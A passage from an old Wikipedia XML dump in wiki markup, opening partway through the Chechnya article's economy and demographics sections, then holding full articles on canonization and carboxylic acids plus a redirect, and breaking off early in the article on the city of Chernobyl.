During the war, the Chechen economy fell apart. [[Gross domestic product]], if reliably calculable, would be only a fraction of the prewar level. Problems with the Chechen economy had an effect on the federal Russian economy - a number of financial crimes during the 1990s were committed using Chechen financial organizations. Chechnya has the highest ratio within [[Russian Federation]] of financial operations made in [[US Dollars]] to operations in [[Russian Rouble]]s. There are many [[counterfeit]] US Dollars printed there. In 1994, the separatists planned to introduce a new currency, the [[Nahar]], but that did not happen due to Russian troops re-taking Chechnya in the [[First Chechen War]].

As an effect of the war, approximately 80% of the economic potential of Chechnya was destroyed.  The only branch of economy that has been rebuilt so far is the [[petroleum]] industry. The [[2003]] oil production was estimated at 1.5 million metric tons annually (or 30 thousand [[Barrel (unit)|barrels]] per day), down from a peak of 4 million metric tons annually in the [[1980s]]. The [[2003]] production constituted approximately 0.6% of the total oil production in Russia. The level of [[unemployment]] is high, hovering between 60 and 70 percent. Despite economic improvements, [[smuggling]] and [[barter|bartering]] still comprise a significant part of Chechnya's economy.[http://news.bbc.co.uk/2/hi/europe/4091635.stm]

According to the Russian government, over 2 billion [[USD|dollars]] were spent on the reconstruction of the Chechen economy since [[2000]]. However, according to the Russian central economic control agency (''Schyotnaya Palata''), not more than 350 million dollars were spent as intended.

==Demographics==
{{main|Chechen people}}
The current population of Chechnya is approximately 1.3 million; this includes [[Chechen people|Chechens]], Russians, [[Ingush]], and other North Caucasians. 

Most Chechens are [[Sunnite|Sunni]] [[Muslim]], the country having converted to that religion between the [[16th century|16th]] and the [[19th century|19th centuries]]. At the end of the Soviet era, ethnic Russians comprised about 23 percent of the population (269,000 in 1989). Due to widespread crime and the alleged [[ethnic cleansing]] carried out by the government of [[Dzhokhar Dudayev]] most non-Chechens (and many Chechens as well) fled the country during the 1990s. Today there are only several thousand ethnic Russian residents of Chechnya.

The languages used in the Republic are [[Chechen language|Chechen]] and [[Russian language|Russian]]. Chechen belongs to the Vaynakh or [[North-central Caucasian languages|North-central Caucasian]] linguistic family, which also includes [[Ingush language|Ingush]] and [[Batsb language|Batsb]]. Some scholars place it in a wider [[Iberian-Caucasian languages|Iberian-Caucasian super-family]].

Chechnya has one of the youngest populations in the generally aging Russian Federation; in the early 1990s, it was among the few regions experiencing natural population growth.

*'''Population''': 1,103,686 (2002) - numbers are disputed.
**''Urban'': 373,177 (33.8%)
**''Rural'': 730,509 (66.2%)
**''Male'': 532,724 (48.3%)
**''Female'': 570,962 (51.7%)
*'''Average age''': 22.7 years
**''Urban'': 22.8 years
**''Rural'': 22.7 years
**''Male'': 21.6 years
**''Female'': 23.9 years
*'''Number of households''': 195,304 (with 1,069,600 people)
**''Urban'': 65,741 (with 365,577 people)
**''Rural'': 129,563 (with 704,023 people)

*''2004 Population in Chechnya'': 1,088,816. 
**''In Grozny (the capital of Chechen Republic)'': 80,000. 
**''Ethnic Chechens predominate, with 98% of the population.''

==See also==
*[[List of active autonomist and secessionist movements]]
*[[Chechen War]]
*[[Music of Chechnya]]

==External links==
* [http://news.bbc.co.uk/1/hi/world/europe/country_profiles/2565049.stm BBC Chechnya profile]
*[http://www.geocities.com/svetlana.gubareva/30.html Beginning of the Chechen War (translation of grani.ru article)]
*[http://chechnya.gov.ru/ Official site of the government of Chechen republic (in Russian)]
*[http://www.kavkazcenter.com/ Kavkaz Center]
*[http://freewebs.com/superbootneck/ Chechnya veterans association (in English)]
*[http://www.chechnyafree.ru/index.php?lng=eng Free Chechnya site (in English)]
*[http://www.watchdog.cz/ Prague Watchdog - collects and disseminates information on the conflict in Chechnya]
*[http://www.aeronautics.ru/chechnya/cindex.htm War in Chechnya 1999]
*[http://www.chechen.org/ The News Service of the ChRI President (in Russian)]
*[http://www.chechnya-mfa.info/ Ministry of Foreign Affairs of the ChRI]
*[http://www.chechenpress.co.uk/ The Chechenpress, official bilingual site of the ChRI news media]
*[http://www.polosbastards.com/artman/publish/chechnya-history.shtml Russia's Splitting Headache - A Brief History Of Chechnya]
*[http://groups.yahoo.com/group/chechnya-sl/ Moderated Chechen news database in English]
*[http://www.pinr.com/report.php?ac=view_report&amp;report_id=221&amp;language_id=1 PINR - Chechnya: Russia's Second Afghanistan]
*[http://members.tripod.com/~ChechenianPhenomenon/ Almanac &quot;Chechenian Phenomenon&quot; in English and Russian]
*[http://www.cbc.ca/news/background/chechnya/ CBC.ca News Indepth: Chechnya]
*[http://www.gateway2russia.com/art/Current%20Topics/Who%20is%20to%20blame_252029.html Who is to blame?]
*[http://web.archive.org/web/20041010191212/http://www.chechenpress.info/english/news/2004/08/30/02.shtml Opinion of a group of Baltic politicians regarding the latest presidential elections in Chechnya]
*[http://www.russiavotes.org/Mood_int_cur.htm Russians polled on Chechnya]
*[http://assembly.coe.int/Documents/WorkingDocs/doc04/EDOC10276.htm The PACE report on the Chechnya political situation]
*[http://www.washingtonpost.com/wp-dyn/articles/A27550-2004Sep16.html  WashingtonPost: Is there no solution to the nine-year-old Chechen bloodbath?]
*[http://www.mosnews.com/news/2004/11/19/civiliandeath.shtml Casualties since 1994]
*[http://www.einnews.com/russia/newsfeed.php?nid=16801&amp;afid=384 Einnews: Russia Today: Chechnya]
*[http://www.canoe.ca/NewsStand/Columnists/Toronto/Eric_Margolis/2005/02/27/944231.html Chechen struggle ignored]
*[http://www.themoscowtimes.com/stories/2002/10/22/011.html Chechnya Population Inexplicably Swells]
*[http://www.nytimes.com/2005/03/22/international/europe/22chechnya.html New York Times: Rights Group Reports Thousands of Disappearances in Chechnya]
*[http://www.globalpolitician.com/articleshow.asp?ID=990&amp;cid=4&amp;sid=35 The Rise and Fall of Chechen Independence Movement]
*[http://www.lib.utexas.edu/maps/chechen.html UT: Chechnya maps][http://harki.ath.cx/maps/chechnya.php?segment=b4 and a Chechnya topographical map]
*[http://www.da.mod.uk/CSRC/documents/Special/S40/view?searchterm=chechnya  CSRC: The Caspian: Comminatory Crosscurrents, Oil and geopolitics]
*[http://www.rand.org/publications/MR/MR1289/ Significant excerpts are available online for free at the Rand] 
*[http://www.da.mod.uk/CSRC/documents/Caucasus/  The CSRC publications in the Caucasus Series]
*[http://www.jamestown.org/publications_view.php?publication_id=1/ The Jamestown Foundation, Chechnya weekly]
*[http://www.gazeta.ru/2005/08/15/oa_167396.shtml Chechen Death Toll claimed to be 160,000 by Chechen Authorities (in Russian)]
*[http://www.chechnyaadvocacy.org Chechnya Advocacy Network (in English)]
*[http://www.freechechnya.com Free Chechnya]
*[http://www.foxbat.ru/Chechnya.htm Russian Air Force in Chechnya]

==Further reading==
*Vyacheslav Mironov. ''Ya byl na etoy voyne.'' (I was at this war) Biblion - Russkaya Kniga, 2001. Partial translation available online [http://lib.ru/MEMUARY/CHECHNYA/chechen_war.txt]
*Matthew Evangelista, ''The Chechen Wars: Will Russia Go the Way of the Soviet Union?''.  ISBN 0815724993. 
*Roy Conrad. ''A few days...'' Available online [http://lib.ru/MEMUARY/CHECHNYA/grozny_engl.txt]
*Olga Oliker, ''Russia's Chechen Wars 1994 - 2000: Lessons from Urban Combat''. ISBN 0833029983.  (A strategic and tactical analysis of the Chechen Wars.)
*Charlotta Gall &amp; Thomas de Waal. ''Chechnya: A Small Victorious War''. ISBN 0330350757
*Paul J., Ph.D. Murphy. ''The Wolves of Islam: Russia and the Faces of Chechen Terror''. ISBN 1574888307
*Anatol Lieven. ''Chechnya : Tombstone of Russian Power'' ISBN 0300078811
*John B Dunlop. ''Russia Confronts Chechnya : Roots of a Separatist Conflict'' ISBN 0521636191
*Paul Khlebnikov. ''Razgovor s varvarom'' (Interview with a barbarian). ISBN 5-89935-057-1. Available online in full [http://www.compromat.ru/main/chechya/nuhaevar.htm]
*Marie Benningsen Broxup. ''The North Caucasus Barrier: The Russian Advance Towards the Muslim World''. ISBN 1850650691
*Anna Politkovskaya. ''A Small Corner of Hell : Dispatches from Chechnya'' ISBN 0226674320
*Chris Bird. ''&quot;To Catch a Tartar: Notes from the Caucasus&quot;'' [ISBN 0719565065]
*Carlotta Gall, Thomas de Waal, ''Chechnya: Calamity in the Caucasus'' [ISBN 0814731325]
* Yvonne Bornstein and Mark Ribowsky, &quot;Eleven Days of Hell: My True Story Of Kidnapping, Terror, Torture And Historic FBI &amp; KGB Rescue&quot; AuthorHouse, 2004. ISBN 1418493023.

{{Subdivisions of Russia}}

[[Category:Disputed territories]]
[[Category:Chechnya| ]]

[[ar:شيشان]]
[[bg:Чеченска република]]
[[ca:Txetxènia]]
[[cs:Čečensko]]
[[da:Tjetjenien]]
[[de:Tschetschenien]]
[[et:Tšetšeeni Vabariik]]
[[es:Chechenia]]
[[eo:Ĉeĉenio]]
[[fr:Tchétchénie]]
[[gl:Chechenia - Нохчичьо]]
[[ko:체첸 공화국]]
[[io:Chechenia]]
[[id:Chechnya]]
[[it:Cecenia]]
[[he:צ'צ'ניה]]
[[ka:ჩეჩნეთი]]
[[lt:Čečėnija]]
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[[ja:チェチェン共和国]]
[[no:Tsjetsjenia]]
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[[pl:Czeczenia]]
[[pt:Chechênia]]
[[ro:Cecenia]]
[[ru:Чечня]]
[[sh:Čečenija]]
[[sr:Чеченија]]
[[fi:Tšetšenia]]
[[sv:Tjetjenien]]
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[[ce:Нохчийчоь]]</text>
    </revision>
  </page>
  <page>
    <title>Canonization</title>
    <id>6097</id>
    <revision>
      <id>42004855</id>
      <timestamp>2006-03-03T04:10:47Z</timestamp>
      <contributor>
        <username>TKE</username>
        <id>531146</id>
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      <comment>Revert to revision 40361405 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''This article discusses the process of declaring saints. For the canonization of Scripture, see [[Biblical canon]].''

'''Canonization''' is the process of declaring someone a [[saint]] and involves proving that a candidate has lived in such a way that he or she is worthy of sainthood. It is currently practised by the [[Roman Catholicism|Roman Catholic Church]] (including Churches of the [[Eastern Rite|Eastern Rites]]), by the [[Eastern Orthodoxy|Eastern Orthodox Church]], and by the [[Oriental Orthodoxy|Oriental Orthodox Churches]].(Also the [[Church of England]] does not rule out canonization, however it has only ever canonized one man, see [[Charles I of England]].) 

==Roman Catholicism==

The process of an individual being declared a [[saint]] in the Roman Catholic Church began in the [[900s]], when the church in [[Rome]] demanded that all saints throughout her [[jurisdiction]] be added to an official list to be kept in Rome. Before that time, the name &quot;saint&quot; was applied more informally (as the plural form was often used in Scripture to designate the faithful), and many early saints have never been formally canonized. The first saint to be added to this official list was Saint [[Ulrich of Augsburg]], who was canonized in [[993]].  The process has become a detailed study of the life, writings, and after-life ([[miracle]]s) of the candidate.  The process involves several steps, including [[beatification]], and the last is canonization.

Canonization is taken very seriously. Most Roman Catholic theologians hold canonization to be an [[Infallibility of the Church|infallible]] act of the Church.  In particular, [[Thomas Aquinas]] says, &quot;Since the honor we pay the saints is in a certain sense a profession of faith, i.e., a belief in the glory of the Saints [''quâ sanctorum gloriam credimus''] we must piously believe that in this matter also the judgment of the Church is not liable to error.&quot;  

===Historical development of the process===

According to some writers the origin of beatification and canonization in the Catholic Church is the ancient [[Paganism|pagan]] [[apotheosis]]. [[Pope Benedict XIV]] examined and refuted this view. He showed that both the grounds for and meaning of apotheosis differ markedly from Christian beatification. Apotheosis often came from the statement of a single person that while the body of the new god was being burned, an eagle (for [[Roman Empire|emperors]]) or a peacock ([[Juno]]'s sacred bird) (for imperial consorts) was seen to carry heavenward the spirit of the departed ([[Livy]], Hist. Rome, I, xvi; [[Herodian]], Hist. Rome, IV, ii, iii). Apotheosis was awarded to most members of the imperial family, with no regard to virtues or remarkable achievements. Also, apotheosis was often given to escape popular hatred by distracting attention from the cruelty of imperial rulers. [[Romulus and Remus|Romulus]] was deified by the senators who slew him; [[Poppaea]] owed her apotheosis to her imperial paramour, [[Nero]], after he had kicked her to death; [[Geta]] had the honour from his brother [[Caracalla]], who had got rid of him through jealousy. 

The Catholic Church, on the other hand, canonizes or beatifies only those whose lives have been marked by heroic virtue, and only after this has been proved by common repute for sanctity and by conclusive arguments. Finally, the Church sees saints as nothing more than friends and servants of God whose holy lives have nevertheless made them worthy of His special love. This is why Catholics do not &quot;worship&quot; saints. 

The origin of canonization and beatification comes from the Catholic doctrine of the devotion to, invocation and intercession of the saints. As was taught by St. Augustine, Catholics honour God in His saints as the loving distributor of supernatural gifts. [[Scholastics|Scholastic]] theologians have defined three types of worship.  Strict adoration, or ''latria'' (&amp;lambda;&amp;alpha;&amp;tau;&amp;rho;&amp;iota;&amp;alpha;), is given to God alone.  Honor and humble reverence, or ''doulia'' (&amp;delta;&amp;omicron;&amp;upsilon;&amp;lambda;&amp;iota;&amp;alpha;), is given to the saints.  A higher form of doulia, ''hyperdoulia'' (&amp;upsilon;&amp;pi;&amp;epsilon;&amp;rho;&amp;delta;&amp;omicron;&amp;upsilon;&amp;lambda;&amp;iota;&amp;alpha;), is given to the [[Blessed Virgin Mary]].  The Church erects altars ''to'' God alone, though in honour and memory of the saints and martyrs. There is Scriptural warrant for such honor in the passages where we are bidden to venerate angels (Ex 13:20ff; Jos 5:13ff; Dan 8:15ff; 10:4ff; Luke 2:9ff; Acts 12:7ff; Rev 5:11ff; 7:1ff; Matt 18:10; etc.), whom holy men are not unlike, as sharers of the friendship of God. 

The basis of prayer to saints is simply that, as believers can help each other with prayers (intercessory prayer) while living, so they may pray for the living after their deaths.  Thus, praying to St. Paul is a prayer asking Paul, alive in heaven, to pray for the believer.  As Paul's holiness is attested in his beatification and canonization, his prayers will be well received.

A different service is provided by the beatified in the celebrations of their [[feast day|feasts]].  In the celebrations of feasts, believers celebrate the holiness of the blessed and are reminded of their good examples.

It follows naturally that for the public veneration of saints the ecclesiastical authority of the pastors and rulers of the Church was constantly required. The Church did not grant liturgical honours indiscriminately to all those who had died for the Faith. 

The first practice of beatification and canonization was directed toward [[martyr]]s.  The decision as to the martyr having died for his faith in Christ, and the consequent permission of honor, lay originally with the bishop of the place in which he had borne his testimony. The bishop inquired into the motive of his death and, finding he had died a martyr, sent his name with an account of his martyrdom to other churches, especially neighboring ones, so that, in event of approval by their respective bishops, the cultus of the martyr might extend to their churches also.  

The honoring of &quot;confessors&quot; -- of those, that is, who died peacefully after a life of heroic virtue -- is not as ancient as that of the martyrs. In the beginning, &quot;confessor&quot; denoted only those who confessed Christ when examined in the presence of enemies of the Faith, or, as [[Pope Benedict XIV]] explains, to those who died peacefully after having confessed the faith before tyrants or other enemies of the Christian religion, and undergone tortures or suffered other punishments of whatever nature. Later on, confessors were those who had lived a holy life and closed it by a holy death in Christian peace. It is in this sense that we now treat of the honor paid to confessors.  It was in the fourth century that confessors were first given public ecclesiastical honor, though occasionally praised in ardent terms by earlier Fathers. Still [[Robert Bellarmine]] thought it uncertain when confessors began to be objects of public veneration, and asserted that it was not before 800, when the feasts of Sts. [[Martin of Tours]] and [[Remigius]] are found in the catalog of feasts drawn up by the [[Council of Mainz]]. However, in the [[Greek Orthodox Church|East]], for example, [[Hilarion]], [[Ephrem of Syria]], and other confessors were publicly honoured in the fourth century; and, in the West, St. [[Martin of Tours]], and St. [[Hilary of Poitiers]] were objects of a like honor in the same century. 

Later on, the names of confessors were inserted in the diptychs, and due reverence was paid them. Their tombs were honored with the same title as those of the martyrs. It remained true, however, that one could not venerate confessors without permission of the ecclesiastical authority. 

For several centuries the bishops, in some places only the primates and patriarchs, could grant martyrs and confessors public ecclesiastical honor; such honor, however, was always decreed only for the local territory over which the grantors held jurisdiction. Still, it was only the Bishop of Rome's ([[Pope]]'s) acceptance of the honor that made it universal, since he alone could permit or command in the Universal Church. Abuses, however, crept into this form of discipline, due to popular fervour and the carelessness of some bishops in inquiring into the lives of those whom they permitted to be honored as saints. Towards the close of the [[eleventh century]] the popes found it necessary to restrict episcopal authority on this point and decreed that the virtues and miracles of persons proposed for public veneration should be examined in councils. Even after these decrees, &quot;some, following the ways of the pagans and deceived by the fraud of the evil one, venerated as a saint a man who had been killed while intoxicated&quot;.  [[Pope Alexander III]] ([[1159]] - [[1181]]) prohibited popular veneration in these words: &quot;For the future you will not presume to pay him reverence, as, even though miracles were worked through him, it would not allow you to revere him as a saint unless with the authority of the Roman Church.&quot;  Thus, the pope for the first time reserved the right of beatification. Some bishops did not obey it in as far as it regarded beatification (which right they had certainly possessed before this), so [[Urban VII]] published, in [[1634]], a [[Papal bull|Bull]] which put an end to all discussion by reserving to the [[Holy See]] exclusively not only its immemorial right of canonization, but also that of beatification.

{{Catholic}}

=== Current practice ===
The [[1983]] reform of the Roman Catholic Church's [[canon law]] has streamlined the procedure considerably compared to the process carried out previously. (See below.)


{{canonization}} 


The process begins at the diocesan level, with the [[bishop]] giving permission to open an investigation of the virtues of the person who is suspected of having been a saint. This investigation may not open until permission is given by the Vatican, and not sooner than five years after the death of the person being investigated. However, the pope has the authority to waive this waiting period, as was done for [[Mother Teresa]] by [[Pope]] [[Pope John Paul II|John Paul II]] as well as for John Paul II himself by his immediate successor, [[Pope Benedict XVI|Benedict XVI]]. When sufficient information has been gathered, the subject of the investigation is called a '''&quot;Servant of God&quot;''', and the process is transferred to the [[Roman Curia]]&amp;mdash;the [[Congregation for the Causes of the Saints]]&amp;mdash;where it is assigned a [[postulator]], whose task is to gather all information about the life of the Servant of God. When enough information has been gathered, the congregation will recommend to the [[pope]] that he make a proclamation of the Servant of God's heroic virtue, which entitles him or her to receive the title '''&quot;Venerable&quot;'''. A Venerable has as of yet no [[feast day]], but prayer cards may be printed to encourage the faithful to pray for a [[miracle]] wrought by his or her intercession.

The next step depends on whether the Venerable is a [[martyr]]. For a martyr, the pope has only to make a declaration of martyrdom, which then allows [[beatification]], yielding the title '''&quot;Blessed&quot;''' and a feast day in the Blessed's home diocese and perhaps some other local calendars. If the Venerable was not a martyr, it must be proven that a [[miracle]] has taken place by his or her intercession. Today, these miracles are almost always miraculous cures, as these are the easiest to establish based on the Roman Catholic Church's requirements for a &quot;miracle.&quot; (The patient was sick, there was no known cure for the ailment, prayers were directed to the Venerable, the patient was cured, and doctors cannot explain it.)

To pass from Blessed to '''Saint''', one (more) miracle is necessary.  A saint's feast day is considered universal, and may be celebrated anywhere within the Catholic church, although it may not appear on the general calendar.

In the case of persons that common usage has called saints from &quot;time immemorial&quot; (in practice, since before 1500 or so), the Church may carry out a &quot;confirmation of cultus&quot;, which is much simpler. For example, Saint Hermann Joseph had his veneration confirmed by [[Pope John Paul II]].

=== Previous practice ===
''Main article: [[Historical process of beatification and canonization]]''

The process for making a saint was considerably more involved. To achieve the declaration of venerability, the process was essentially the same, but with more people and reports involved. Beatification of a non-martyr required three miracles if direct witnesses to his or her sanctity could be called, and four if this was not possible. For a martyr, one miracle less was needed, and the requirement of miracles could be waived by the Congregation of Rites.

Two additional miracles were required for the canonization.

==See also==

*[[List of saints|Partial list of canonized saints]]
*[[Beatification]]
*[[Litany of the Saints]]

==External links==
* [http://www.religionfacts.com/christianity/practices/honoring_saints/canonization.htm  Canonization of Saints] - Describes the significance and process of canonizing saints.
*[http://www.newadvent.org/cathen/02364b.htm Entry on canonization and beatification in the ''Catholic Encyclopedia'']

[[Category:Sainthood]]

[[cs:Kanonizace]]
[[da:Kanonisering]]
[[de:Heiligsprechung]]
[[eo:Enkanonigo]]
[[fr:Canonisation]]
[[id:Kanonisasi]]
[[nl:Heiligverklaring]]
[[ja:列聖]]
[[no:Helligkåring]]
[[pl:Kanonizacja]]
[[pt:Canonização]]
[[ru:Канонизация]]
[[sv:Kanonisering]]
[[uk:Канонізація]]</text>
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  <page>
    <title>Carolingian renaissance</title>
    <id>6098</id>
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      <timestamp>2003-08-24T06:40:16Z</timestamp>
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        <username>Olivier</username>
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      <minor />
      <comment>redir</comment>
      <text xml:space="preserve">#REDIRECT [[Carolingian Renaissance]]</text>
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  </page>
  <page>
    <title>Carboxylic acid</title>
    <id>6099</id>
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      <id>40808349</id>
      <timestamp>2006-02-23T03:42:19Z</timestamp>
      <contributor>
        <username>Drini</username>
        <id>195374</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.90.128.28|202.90.128.28]] ([[User talk:202.90.128.28|talk]]) to last version by Tawker</comment>
      <text xml:space="preserve">[[Image:Carboxy.png|frame|Structure of a carboxylic acid]]

'''Carboxylic acids''' are [[organic acid]]s characterized by the presence of a [[carboxyl group]], which has the [[Chemical formula|formula]] -C(=O)-OH, usually written as '''-COOH'''. In general, the [[salt]]s and [[anion]]s of carboxylic acids are called '''carboxylates'''.

The simplest series of carboxylic acids are the '''alkanoic acids''', R-COOH, where R is a [[hydrogen]] or an [[alkyl]] [[Functional group|group]]. Compounds may also have two or more carboxylic acid groups per molecule.

== Acidity, electron distribution and resonance ==
Carboxylic acids are widespread in nature. Carboxylic acids are typically weak acids that partially [[Dissociation (chemistry)|dissociate]] into H&lt;sup&gt;+&lt;/sup&gt; [[cation]]s and RCOO&lt;sup&gt;-&lt;/sup&gt; [[anion]]s in [[Water (molecule)|aqueous]] solution. For example, only about 0.02% of all [[acetic acid]] molecules are dissociated at room temperature in solution.

The two [[electronegativity|electronegative]] oxygen atoms tend to pull the electron away from the hydrogen of the [[hydroxyl]] group, and the remaining [[proton]] H&lt;sup&gt;+&lt;/sup&gt; can more easily leave.
The remaining negative charge is then distributed symmetrically among the two oxygen atoms, and the two carbon&amp;ndash;oxygen [[chemical bond|bonds]] take on a partial double-bond character (i.e., they are delocalised).

This is a result of the resonance structure created by the [[carbonyl]] component of the carboxylic acid, without which the OH group does not as easily lose its H&lt;sup&gt;+&lt;/sup&gt; (see [[alcohol]]).

The presence of electronegative groups (such as -[[hydroxyl|OH]] or -[[chloride|Cl]]) next to the carboxylic group increases the acidity. So, for example, [[trichloroacetic acid]] (three -Cl groups) is a stronger acid than [[lactic acid]] (one -OH group) which in turn is stronger than acetic acid (no helping group).

== Synthesis ==
Carboxylic acids can be made by various methods:

* Complete [[organic oxidation|oxidation]] of [[alcohol|primary alcohol]]s and [[aldehydes]]. This can be done with the [[Jones reagent]] or [[Tollens' reagent]].
* [[Alkene]] oxidation by [[Potassium permanganate]]  .
* [[Benzene | Alkylbenzene]] oxidation of [[Potassium permanganate]] to [[benzoic acid]]s.
* Acid or base [[hydrolysis]] of [[nitrile]]s.
* [[Hydrolysis]] of [[amide]]s and [[ester]]s.
* Carbonylation (reaction with [[carbon dioxide]]) of [[Grignard reagent]]s.
* Disproportionation of an [[aldehyde]] in the [[Cannizzaro reaction]]
* Less-common reactions involving the generation of benzoic acids are the [[von Richter reaction]] from nitrobenzenes and the [[Kolbe-Schmitt reaction]] from [[phenol]]s.

==Reactions==
*Carboxylic acids react with [[Base (chemistry)|base]]s to form carboxylate salts, in which the hydrogen of the -OH group is replaced with a metal [[ion]]. Thus, ethanoic acid (the same as acetic acid) reacts with [[sodium bicarbonate]] (baking soda) to form sodium ethanoate (sodium acetate), [[carbon dioxide]], and water: CH&lt;sub&gt;3&lt;/sub&gt;COOH + NaHCO&lt;sub&gt;3&lt;/sub&gt; &amp;rarr; CH&lt;sub&gt;3&lt;/sub&gt;COONa + CO&lt;sub&gt;2&lt;/sub&gt; + H&lt;sub&gt;2&lt;/sub&gt;O
[[Image:COOH_reduced_by_LAH.png|center|frame|[[Lithium aluminium hydride]] [[reduction]] of a [[carboxylic acid]] to an [[alcohol]].]]
* Carboxyl groups also react with [[amine]] groups to form [[peptide bond]]s and with [[alcohol]]s to form [[ester]]s in [[Fischer esterification]] or the [[Mitsunobu reaction]].
*Carboxylic acids react with [[thionyl chloride]] (SOCl&lt;sub&gt;2&lt;/sub&gt;) to form [[acyl chloride]]s. These are extremely reactive and useful to synthesize other organic compounds.
* Carboxylic acids can be [[organic reduction|reduced]] by [[Lithium aluminium hydride|LiAlH&lt;sub&gt;4&lt;/sub&gt;]] to form primary [[alcohol]]s, although this reaction can be sluggish, as a first step is often formation of the lithium carboxylate salt. Another [[reducing agent]] for this reaction is [[borane]].
*The [[Arndt-Eistert synthesis]] inserts an &amp;alpha;-methylene group into a carboxylic acid.
*The [[Curtius rearrangement]] converts carboxylic acids to [[isocyanate]]s.
*Carboxylic acids are decarboxylated in the [[Hunsdiecker reaction]] and &amp;alpha;-brominated in the [[Hell-Volhard-Zelinsky halogenation]].

== Nomenclature and examples ==
The carboxylate anion R-COO&lt;sup&gt;–&lt;/sup&gt; is usually named with the suffix '''-ate''', so acetic acid, for example, becomes acetate ion.  In [[IUPAC nomenclature]], carboxylic acids have an '''[[-oic acid]]''' suffix (e.g. octadecanoic acid).  In [[common nomenclature]], the suffix is usually '''-ic''' (e.g. stearic acid).

Some representative carboxylic acids include:

* [[Formic acid]] (methanoic acid) – HCOOH, found in insect stings (''formic'' refers to [[ant]]s)
* [[Acrylic acid]] (ethenoic acid) - CH&lt;sub&gt;2&lt;/sub&gt;=CHCOOH, used in polymer synthesis
* [[Lactic acid]] (2-hydroxypropanoic acid) - found in sour milk
* [[Amino acid]]s – the building blocks of [[protein]]s
* [[Valproic acid]] (2-propylpentanoic acid) - pharmaceutical

* '''[[Fatty acid]]s''' - where R is an [[alkane]] in saturated acids or an [[alkene]] in unsaturated acids
** [[Acetic acid]] (ethanoic acid) – CH&lt;sub&gt;3&lt;/sub&gt;COOH, the principal component of [[vinegar]]
** [[Propionic acid]] (propanoic acid) - CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;COOH
** [[Butyric acid]] (butanoic acid) – found in rancid butter
** [[Lauric acid]] (dodecanoic acid) – found in coconut oil
** [[Docosahexaenoic acid]] - nutritional supplement
** [[Eicosapentaenoic acid]] - nutritional supplement

* '''Aromatic carboxylic acids'''
** [[Benzoic acid]] - C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;COOH.  Sodium benzoate, the sodium salt of benzoic acid is used as a food preservative
** [[Salicylic acid]] - found in many skin care products

* '''Diacids'''
** [[Aldaric acid]] - a family of sugar acids
** [[Oxalic acid]] - found in many foods
** [[Malonic acid]]
** [[Malic acid]] - found in apples
** [[Succinic acid]] - a component of the [[citric acid cycle]]
** [[Glutaric acid]]
** [[Adipic acid]] - the monomer used to produce nylon

== See also ==
* [[Acid anhydride]]
* [[Ester]]

[[Category:Carboxylic acids|*]]
[[Category:Functional groups]]
[[Category:Acids]]

[[ar:حمض كربوكسيلي]]
[[da:Carboxylsyre]]
[[de:Carbonsäuren]]
[[et:Karboksüülhape]]
[[es:Grupo carboxilo]]
[[fr:Acide carboxylique]]
[[id:Asam alkanoat]]
[[it:Acidi carbossilici]]
[[he:חומצה קרבוקסילית]]
[[lv:Karbonskābes]]
[[nl:Carbonzuur]]
[[ja:カルボン酸]]
[[nn:Karboksylsyre]]
[[pl:Kwas karboksylowy]]
[[pt:Ácido carboxílico]]
[[ru:Карбоновые кислоты]]
[[su:Asam karboksilat]]
[[fi:Karboksyylihappo]]
[[zh:羧酸]]</text>
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  <page>
    <title>Chernobyl</title>
    <id>6100</id>
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      <id>41930690</id>
      <timestamp>2006-03-02T18:26:21Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/86.133.19.3|86.133.19.3]] ([[User talk:86.133.19.3|talk]]) to last version by Shadow1</comment>
      <text xml:space="preserve">{{dablink|This page is about the city of Chernobyl, Ukraine. For information on the 1986 nuclear plant disaster, see [[Chernobyl accident]]. For all other uses, see [[Chernobyl (disambiguation)]].}}

[[Image:ChernobylMIR.jpg|right|300px|thumb|Chernobyl area. Taken from the Russian [[Mir]] spacecraft in 1997]]

'''Chernobyl''' ([[Ukrainian language|Ukrainian]]: '''Chornobyl''' (Чорно́биль), [[Russian (spelling)|Russian]] '''Chernobyl''' (Черно́быль) is a city in northern [[Ukraine]], near the border with [[Belarus]] ({{coor dms|51|16|0|N|30|13|60|E|}}). It was a major communications node and important centre of trade and commerce, especially in the [[19th century]]. The city is located 14.5 kilometers (9 miles) south by south-east of the Chernobyl [[nuclear power]] [[nuclear plant|plant]], which is notorious for the [[Chernobyl accident]]. The plant exploded on [[April 26]], [[1986]]; clouds of [[radioactive]] [[particle_(ecology)|particle]]s were released, and the severely damaged containment vessel started leaking radioactive matter. More than 100,000  people were evacuated from the city and other affected areas. Despite the fact that radiation is still being emitted from the nuclear disaster site, the 800-year-old city of Chernobyl survives, although barely. As of [[2004]], government workers still police the zone, trying to clean up radioactive material. Hundreds of people &amp;mdash; mostly  the elderly &amp;mdash; have decided to live with the dangers and have returned to their homes in the zones' towns and villages.  Their population was highest in 1987, when there were more than 1200 people.  In 2003, there were about 300.

==Name origin==
The city is named after the Ukrainian word for [[mugwort]] (''Artemisia vulgaris''), which is &quot;chornobyl&quot;. The word is a combination of ''chornyi'' (чорний, ''black'') and ''byllia'' (билля, ''grass blades'' or ''stalks''); hence it literally means ''black grass'' or ''black stalks'' -- though no parts of mugwort or wormwood are black.  The plants are pale green, and wormwood has a whitish tinge from a fine fuzz on the bottom of its leaves.

On occasion, Chornobyl has been translated controversially to mean simply &quot;[[Artemisia (plant)|wormwood]]&quot; (which most commonly refers to ''Artemisia absinthium''), with consequent [[Chernobyl accident#Chernobyl and the Bible|apocalyptic associations]], that spread as far as Poland before [[Serge Schmemann]] of the New York Times published &quot;Chernobyl Fallout: Apocalyptic Tale&quot;, July 25, 1986. The article quoted an unnamed &quot;prominent Russian writer&quot; as claiming the Ukrainian word for wormwood was chernobyl. 

In fact, there are over 160 kinds of ''Artemisia'', and the terminology is not generally accepted. Some sources refer to ''Artemisia vulgaris'' as &quot;common wormwood&quot;, while other claim that &quot;common wormwood&quot; is ''Artemisia absinthium''. 

